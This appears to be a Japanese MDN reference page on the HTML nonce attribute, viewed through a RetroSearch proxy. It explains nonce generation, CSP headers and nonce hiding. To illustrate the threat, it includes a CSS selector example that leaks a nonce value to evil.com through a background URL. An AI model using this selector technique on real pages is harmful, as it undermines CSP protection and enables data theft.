A RetroSearch Logo

Home - News ( United States | United Kingdom | Italy | Germany ) - Football scores

Search Query:

Showing content from http://developer.mozilla.org/ja/docs/Web/HTML/Reference/Global_attributes/nonce below:

HTML nonce グãƒãƒ¼ãƒãƒ«å±žæ€§ - HTML

HTML nonce グローバル属性

Baseline Widely available

nonce グローバル属性は、 これは暗号化ノンス ("number used once") を定義するコンテンツ属性で、コンテンツセキュリティポリシーが指定された要素に対して読み取りを許可するかどうかを決定するために使用することができます。

解説

nonce 属性は、特定の要素、例えば特定のインラインスクリプトやスタイル要素を許可リスト化するのに有益なものです。 CSP の unsafe-inline ディレクティブの使用を避けることができ、すべてのインラインスクリプトまたはスタイルを許可リスト化することができます。

メモ: 安全でないインラインのスクリプトや スタイルのコンテンツを使用しない方法がない場合のみ、 nonce を使用してください。もし nonce が必要ないのであれば、使用しないでください。スクリプトが静的なものであれば、代わりに CSP ハッシュを使用することもできます。 (安全でないインラインスクリプトの使用上の注意を参照してください。) 常に CSP の保護を最大限に活用し、ノンスや安全でないインラインスクリプトを可能な限り避けるようにしてください。

<script> 要素を許可リスト化するためにノンスを使用

ノンス機構を使用したインラインスクリプトを許可するためには、いくつかの手順があります。

値の生成

ウェブサーバーから、暗号的に安全な乱数発生器を用いて、少なくとも 128 ビットのデータをランダムに Base64 エンコードした文字列を生成します。ノンスはページを読み込むたびに違った形で生成する必要があります(ノンスは 1 回だけ)。例えば node.js で、次のように行います。

import crypto from "node:crypto";

crypto.randomBytes(16).toString("base64");
// '8IBTHwOdqNKAWeKl7plt8g=='
インラインスクリプトの許可リスト化

バックエンドのコードで生成されたノンスは、これで許可リストにしたいインラインスクリプトに使用されます。

<script nonce="8IBTHwOdqNKAWeKl7plt8g==">
  // …
</script>
ノンス付きの CSP ヘッダーの送信

最後に、ノンスの値を Content-Security-Policy ヘッダーで送る必要があります(nonce- を前に付ける)。

Content-Security-Policy: script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g=='
ノンスへのアクセスとノンスの隠蔽

セキュリティ上の理由から、コンテンツ属性 nonce は隠蔽されます(空文字列が返されます)。

script.getAttribute("nonce"); // 空文字列を返す

nonce プロパティは、ノンスにアクセスするための唯一の方法です。

script.nonce; // ノンスの値を返す

ノンスの隠蔽は、このようにコンテンツ属性からデータを取得するメカニズムによって、攻撃者がノンスデータを流出させることを防ぐのに役立ちます。

script[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}
仕様書 ブラウザーの互換性 関連情報

RetroSearch is an open source project built by @garambo | Open a GitHub Issue

Search and Browse the WWW like it's 1997 | Search results from DuckDuckGo

HTML: 3.2 | Encoding: UTF-8 | Version: 0.7.4